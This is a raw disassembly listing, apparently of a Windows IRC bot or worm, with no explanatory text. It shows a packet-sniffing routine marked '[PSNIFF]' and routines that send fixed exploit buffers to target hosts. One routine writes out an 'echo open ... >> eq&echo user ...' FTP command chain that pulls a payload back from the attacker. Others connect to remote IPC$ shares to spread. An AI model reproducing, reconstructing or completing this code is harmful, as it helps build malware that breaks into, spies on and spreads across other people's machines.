push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_40241C: ; CODE XREF: sub_4021FB+1DEj
lea eax, [ebp+var_4DC]
push eax
call sub_415316
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211C
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415390
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415390
add esp, 0Ch
jmp short loc_4024A1
; ---------------------------------------------------------------------------
loc_402473: ; CODE XREF: sub_4021FB+1E3j
cmp esi, 1
jz short loc_40248C
cmp esi, 3
jz short loc_40248C
cmp esi, 2
jz short loc_402487
cmp esi, 4
jnz short loc_4024A1
loc_402487: ; CODE XREF: sub_4021FB+285j
push [ebp+arg_0]
jmp short loc_402493
; ---------------------------------------------------------------------------
loc_40248C: ; CODE XREF: sub_4021FB+27Bj
; sub_4021FB+280j
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_402493: ; CODE XREF: sub_4021FB+28Fj
lea eax, [ebp+var_2DC]
push eax
call sub_415A30
pop ecx
pop ecx
loc_4024A1: ; CODE XREF: sub_4021FB+12Dj
; sub_4021FB+158j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_423BCC
jl loc_4022E5
cmp [ebp+var_4], 0
jz loc_402256
push [ebp+var_D8]
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4021FB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024D0 proc near ; DATA XREF: sub_40CD3A+1BE7o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_415B90
mov edx, [ebp+arg_0]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp+var_B4]
inc eax
push 10h
rep movsd
mov [ebp+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+var_1C]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43C554
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40A08A
pop ecx
push eax
call dword_43C594
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43C5D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4025A5
call dword_43C4E8
push eax
lea eax, [ebp+var_2B4]
push offset unk_424650
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402588
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_402588: ; CODE XREF: sub_4024D0+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
push [ebp+var_30]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_4025A5: ; CODE XREF: sub_4024D0+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_4416D4[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43C580
cmp eax, 0FFFFFFFFh
jnz short loc_40262A
call dword_43C4E8
push eax
lea eax, [ebp+var_2B4]
push offset unk_424608
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402606
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_402606: ; CODE XREF: sub_4024D0+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
push edi
call dword_43C5EC
push [ebp+var_30]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40262A: ; CODE XREF: sub_4024D0+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43C500
cmp eax, 0FFFFFFFFh
jnz short loc_4026AD
call dword_43C4E8
push eax
lea eax, [ebp+var_2B4]
push offset unk_4245B8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402689
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_402689: ; CODE XREF: sub_4024D0+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
push edi
call dword_43C5EC
push [ebp+var_30]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_4026AD: ; CODE XREF: sub_4024D0+177j
push ebx
mov ebx, offset dword_423CA8
loc_4026B3: ; CODE XREF: sub_4024D0+21Cj
; sub_4024D0+22Ej ...
push 0FFFFh
lea eax, [ebp+var_102B4]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push 0FFFFh
push eax
push edi
call dword_43C56C
cmp eax, 0FFFFFFFFh
jz loc_4027C5
cmp [ebp+var_102AB], 6
jnz short loc_4026B3
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_4026B3
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4026B3
xor edi, edi
mov eax, ebx
mov [ebp+arg_0], ebx
loc_40271E: ; CODE XREF: sub_4024D0+269j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402743
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_40271E
loc_40273B: ; CODE XREF: sub_4024D0+2F0j
mov edi, [ebp+var_4]
jmp loc_4026B3
; ---------------------------------------------------------------------------
loc_402743: ; CODE XREF: sub_4024D0+25Fj
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43C490
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43C5E0
push eax
lea eax, [edi+edi*2]
mov eax, dword_423CBC[eax*8]
push off_423C98[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_424560
push 200h
push eax
call sub_41588A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_4027B3
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_4027B3: ; CODE XREF: sub_4024D0+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
jmp loc_40273B
; ---------------------------------------------------------------------------
loc_4027C5: ; CODE XREF: sub_4024D0+20Fj
call dword_43C4E8
push eax
push offset unk_424518
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_40280B
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_40280B: ; CODE XREF: sub_4024D0+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
push edi
call dword_43C5EC
push [ebp+var_30]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
sub_4024D0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40282F proc near ; CODE XREF: sub_40297A+442p
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A4h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_4211DC ; inet_addr
mov [ebp+var_10], eax
mov ax, word_424F98
push eax
call dword_4211E0 ; htons
push esi
push 1
push 2
mov [ebp+var_12], ax
call dword_4211E4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40294F
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4211E8 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40294F
push esi
lea eax, [ebp+var_5A4]
push 400h
push eax
push edi
call dword_4211EC ; recv
mov esi, offset byte_42C2BC
mov ebx, 190h
push esi
push esi
push offset aDd_ ; "dd."
push offset aDd ; "dd"
push offset a78799 ; "78799"
push offset byte_46AB2D
push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"...
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_41588A
add esp, 24h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push edi
mov edi, dword_4211F0
call edi ; send
cmp eax, 0FFFFFFFFh
jz short loc_40294F
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425090
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402953
loc_40294F: ; CODE XREF: sub_40282F+54j
; sub_40282F+6Aj ...
xor al, al
jmp short loc_402975
; ---------------------------------------------------------------------------
loc_402953: ; CODE XREF: sub_40282F+11Ej
push 0
lea eax, [ebp+var_5A4]
push 400h
push eax
push [ebp+var_4]
call dword_4211EC ; recv
push [ebp+var_4]
call dword_4211F4 ; closesocket
mov al, 1
loc_402975: ; CODE XREF: sub_40282F+122j
pop edi
pop esi
pop ebx
leave
retn
sub_40282F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40297A proc near ; CODE XREF: sub_402DD1+11Bp
; sub_402DD1+13Dp
var_89B0 = byte ptr -89B0h
var_8948 = byte ptr -8948h
var_68D8 = byte ptr -68D8h
var_6868 = byte ptr -6868h
var_5DA4 = byte ptr -5DA4h
var_4800 = byte ptr -4800h
var_47FF = byte ptr -47FFh
var_376C = byte ptr -376Ch
var_2CA8 = byte ptr -2CA8h
var_2CA7 = byte ptr -2CA7h
var_2CA4 = byte ptr -2CA4h
var_2C28 = byte ptr -2C28h
var_2458 = byte ptr -2458h
var_1FAD = byte ptr -1FADh
var_1CC0 = byte ptr -1CC0h
var_14DC = byte ptr -14DCh
var_14CC = byte ptr -14CCh
var_11A8 = byte ptr -11A8h
var_11A4 = byte ptr -11A4h
var_1198 = byte ptr -1198h
var_F10 = byte ptr -0F10h
var_E70 = byte ptr -0E70h
var_764 = dword ptr -764h
var_754 = byte ptr -754h
var_740 = byte ptr -740h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = dword ptr -6
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B0h
call sub_415B90
mov eax, dword_425110
push ebx
mov [ebp+var_10], eax
mov eax, dword_425114
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_38]
push offset loc_425104
push eax
call sub_415316
add esp, 0Ch
xor eax, eax
loc_4029B1: ; CODE XREF: sub_40297A+4Ej
mov cl, [ebp+eax+var_38]
and [ebp+eax*2+var_FF], 0
mov [ebp+eax*2+var_100], cl
inc eax
cmp eax, 28h
jl short loc_4029B1
push 60h
lea eax, [ebp+var_B0]
push offset dword_424B90
push eax
call sub_4153F0
lea eax, [ebp+var_38]
push eax
call sub_415B10
add eax, eax
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_4153F0
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_415B10
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_4153F0
lea eax, [ebp+var_38]
push eax
call sub_415B10
add al, 1Ah
push 1
add al, al
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_4153F0
lea eax, [ebp+var_38]
push eax
call sub_415B10
add al, al
push 1
add al, 9
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_83]
push eax
call sub_4153F0
mov ax, word_424F98
add esp, 2Ch
push eax
call dword_4211E0 ; htons
xor eax, 9999h
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_424888
call sub_4153F0
add esp, 0Ch
cmp [ebp+arg_C0], 0
jz loc_402B73
mov edi, 0DACh
lea eax, [ebp+var_1CC0]
push edi
push 90h
push eax
call sub_415390
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea ebx, dword_424FD8[eax]
lea eax, [ebp+var_14DC]
push ebx
push eax
call sub_4153F0
mov esi, offset loc_4247D8
push esi
call sub_415B10
push eax
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11A8]
push offset loc_4250FC
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11A4]
push ebx
push eax
call sub_4153F0
add esp, 40h
push esi
call sub_415B10
push eax
lea eax, [ebp+var_1198]
push esi
push eax
call sub_4153F0
add esp, 10h
xor eax, eax
loc_402B22: ; CODE XREF: sub_40297A+1C1j
mov cl, [ebp+eax+var_1CC0]
and [ebp+eax*2+var_47FF], 0
mov [ebp+eax*2+var_4800], cl
inc eax
cmp eax, edi
jl short loc_402B22
and [ebp+var_2CA8], 0
and [ebp+var_2CA7], 0
mov esi, 1C52h
lea eax, [ebp+var_89B0]
push esi
push 31h
push eax
call sub_415390
push esi
lea eax, [ebp+var_68D8]
push 31h
push eax
call sub_415390
add esp, 18h
jmp short loc_402BCA
; ---------------------------------------------------------------------------
loc_402B73: ; CODE XREF: sub_40297A+116j
push 7D0h
lea eax, [ebp+var_F10]
push 90h
push eax
call sub_415390
mov esi, offset loc_4247D8
push esi
call sub_415B10
push eax
lea eax, [ebp+var_E70]
push esi
push eax
call sub_4153F0
lea eax, [ebp+var_10]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push eax
call sub_4153F0
mov eax, dword_424FD8
add esp, 2Ch
mov [ebp+var_764], eax
loc_402BCA: ; CODE XREF: sub_40297A+1F7j
push 0E29h
lea eax, [ebp+var_2CA4]
push 31h
push eax
call sub_415390
movsx eax, [ebp+var_1]
add esp, 0Ch
add eax, 4
mov esi, dword_4211F0
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402C0B
loc_402C04: ; CODE XREF: sub_40297A+2C2j
; sub_40297A+2EDj ...
xor al, al
jmp loc_402DCC
; ---------------------------------------------------------------------------
loc_402C0B: ; CODE XREF: sub_40297A+288j
mov edi, dword_4211EC
mov ebx, 640h
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 68h
push offset dword_424BF8
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C04
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0A0h
push offset dword_424C68
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C04
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
cmp [ebp+arg_C0], 0
jz loc_402D37
push 68h
lea eax, [ebp+var_89B0]
push offset dword_424E28
push eax
call sub_4153F0
lea eax, [ebp+var_4800]
push 1B5Ah
push eax
lea eax, [ebp+var_8948]
push eax
call sub_4153F0
push 70h
lea eax, [ebp+var_68D8]
push offset dword_424E98
push eax
call sub_4153F0
lea eax, [ebp+var_376C]
push 0A5Eh
push eax
lea eax, [ebp+var_6868]
push eax
call sub_4153F0
push 84h
lea eax, [ebp+var_5DA4]
push offset dword_424F10
push eax
call sub_4153F0
add esp, 3Ch
lea eax, [ebp+var_89B0]
push 0
push 10FCh
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C04
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68D8]
jmp short loc_402D8F
; ---------------------------------------------------------------------------
loc_402D37: ; CODE XREF: sub_40297A+308j
push 7Ch
lea eax, [ebp+var_2CA4]
push offset dword_424D10
push eax
call sub_4153F0
lea eax, [ebp+var_F10]
push 7D0h
push eax
lea eax, [ebp+var_2C28]
push eax
call sub_4153F0
push 90h
lea eax, [ebp+var_2458]
push offset off_424D90
push eax
call sub_4153F0
add esp, 24h
and [ebp+var_1FAD], 0
lea eax, [ebp+var_2CA4]
push 0
push 0CF8h
loc_402D8F: ; CODE XREF: sub_40297A+3BBj
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C04
push 12Ch
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40282F
add esp, 0BCh
test al, al
setnz al
loc_402DCC: ; CODE XREF: sub_40297A+28Cj
pop edi
pop esi
pop ebx
leave
retn
sub_40297A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DD1 proc near ; CODE XREF: seg001:00403E41p
var_858 = byte ptr -858h
var_814 = byte ptr -814h
var_218 = byte ptr -218h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_18]
push edi
push eax
mov [ebp+var_8], edi
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_18], 2
push eax
call dword_4211DC ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_14], eax
call dword_4211E0 ; htons
push 6
push 1
push 2
mov [ebp+var_16], ax
call dword_4211E4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz loc_402ECE
lea eax, [ebp+var_18]
push 10h
push eax
push esi
call dword_4211E8 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402ECE
mov ebx, dword_4211F0
push edi
push 89h
push offset dword_424970
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402ECE
push edi
mov edi, 640h
lea eax, [ebp+var_858]
push edi
push eax
push esi
mov esi, dword_4211EC
call esi ; recv
push 0
push 0A8h
push offset dword_424A00
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402ECE
push 0
lea eax, [ebp+var_858]
push edi
push eax
push [ebp+var_4]
call esi ; recv
push 0
push 0DEh
push offset dword_424AB0
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402ECE
mov ebx, [ebp+var_4]
push 0
lea eax, [ebp+var_858]
push edi
push eax
push ebx
call esi ; recv
movsx eax, [ebp+var_814]
sub eax, 30h
jz short loc_402ED9
dec eax
jz short loc_402ED5
loc_402ECE: ; CODE XREF: sub_402DD1+57j
; sub_402DD1+6Dj ...
xor eax, eax
jmp loc_402F6F
; ---------------------------------------------------------------------------
loc_402ED5: ; CODE XREF: sub_402DD1+FBj
push 0
jmp short loc_402EFD
; ---------------------------------------------------------------------------
loc_402ED9: ; CODE XREF: sub_402DD1+F8j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40297A
add esp, 0C4h
test al, al
jnz short loc_402F1D
push 1
loc_402EFD: ; CODE XREF: sub_402DD1+106j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40297A
add esp, 0C4h
test al, al
jz short loc_402F24
loc_402F1D: ; CODE XREF: sub_402DD1+128j
mov [ebp+var_8], 1
loc_402F24: ; CODE XREF: sub_402DD1+14Aj
push ebx
call dword_4211F4 ; closesocket
cmp [ebp+var_8], 0
jz short loc_402F6C
push 0
lea eax, [ebp+var_218]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_218]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_402F6C: ; CODE XREF: sub_402DD1+15Ej
xor eax, eax
inc eax
loc_402F6F: ; CODE XREF: sub_402DD1+FFj
pop edi
pop esi
pop ebx
leave
retn
sub_402DD1 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033B6
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_403C74
add esp, 0BCh
test ebx, ebx
jnz short loc_402FC6
test eax, eax
jz short loc_402FC9
loc_402FC6: ; CODE XREF: seg001:00402FC0j
xor eax, eax
inc eax
loc_402FC9: ; CODE XREF: seg001:00402FC4j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FCD proc near ; CODE XREF: sub_4033B6+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_425638 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43B188
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_43B184
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43C5F4
cmp eax, 5
mov ebx, 4C3h
jz short loc_403091
cmp eax, ebx
jnz short loc_40309B
loc_403091: ; CODE XREF: sub_402FCD+BEj
push edi
push edi
push edi
push esi
call dword_43C5F4
loc_40309B: ; CODE XREF: sub_402FCD+C2j
cmp eax, 5
jz short loc_4030A9
cmp eax, ebx
jz short loc_4030A9
xor eax, eax
inc eax
jmp short loc_4030AB
; ---------------------------------------------------------------------------
loc_4030A9: ; CODE XREF: sub_402FCD+D1j
; sub_402FCD+D5j
xor eax, eax
loc_4030AB: ; CODE XREF: sub_402FCD+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_402FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030B0 proc near ; CODE XREF: sub_4033B6+7Ap
; sub_4033B6+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_425638 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43B188
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
add esp, 10h
jmp short loc_40314E
; ---------------------------------------------------------------------------
loc_403143: ; CODE XREF: sub_4030B0+AFj
push 7D0h
call dword_421060 ; Sleep
loc_40314E: ; CODE XREF: sub_4030B0+91j
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43C494
test eax, eax
jnz short loc_403143
pop edi
inc eax
pop esi
leave
retn
sub_4030B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403166 proc near ; CODE XREF: sub_4033B6+A6p
; sub_4033B6+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_415B90
push esi
push edi
push offset byte_42C2BC
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_414C51
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4033B2
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_4153F0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415390
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_4153F0
lea esi, [edi+0D7h]
jmp short loc_403228
; ---------------------------------------------------------------------------
loc_4031EA: ; CODE XREF: sub_403166+D0j
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_4153F0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415390
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_4153F0
lea esi, [esi+edi+30h]
loc_403228: ; CODE XREF: sub_403166+82j
add esp, 24h
mov eax, esi
cdq
push 10h
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_4031EA
cmp [ebp+arg_C4], 0
jz short loc_403253
cmp [ebp+arg_C0], 3
jz short loc_40325C
cmp [ebp+arg_C0], 0
jmp short loc_40325A
; ---------------------------------------------------------------------------
loc_403253: ; CODE XREF: sub_403166+D9j
cmp [ebp+arg_C0], 3
loc_40325A: ; CODE XREF: sub_403166+EBj
jnz short loc_403265
loc_40325C: ; CODE XREF: sub_403166+E2j
push 4
push offset dword_425634
jmp short loc_40326C
; ---------------------------------------------------------------------------
loc_403265: ; CODE XREF: sub_403166:loc_40325Aj
push 4
push offset dword_425630
loc_40326C: ; CODE XREF: sub_403166+FDj
lea eax, [ebp+var_1FE0]
push eax
call sub_4153F0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_425168
push eax
call sub_4153F0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4254CC
push eax
call sub_4153F0
lea eax, [ebp+var_2004]
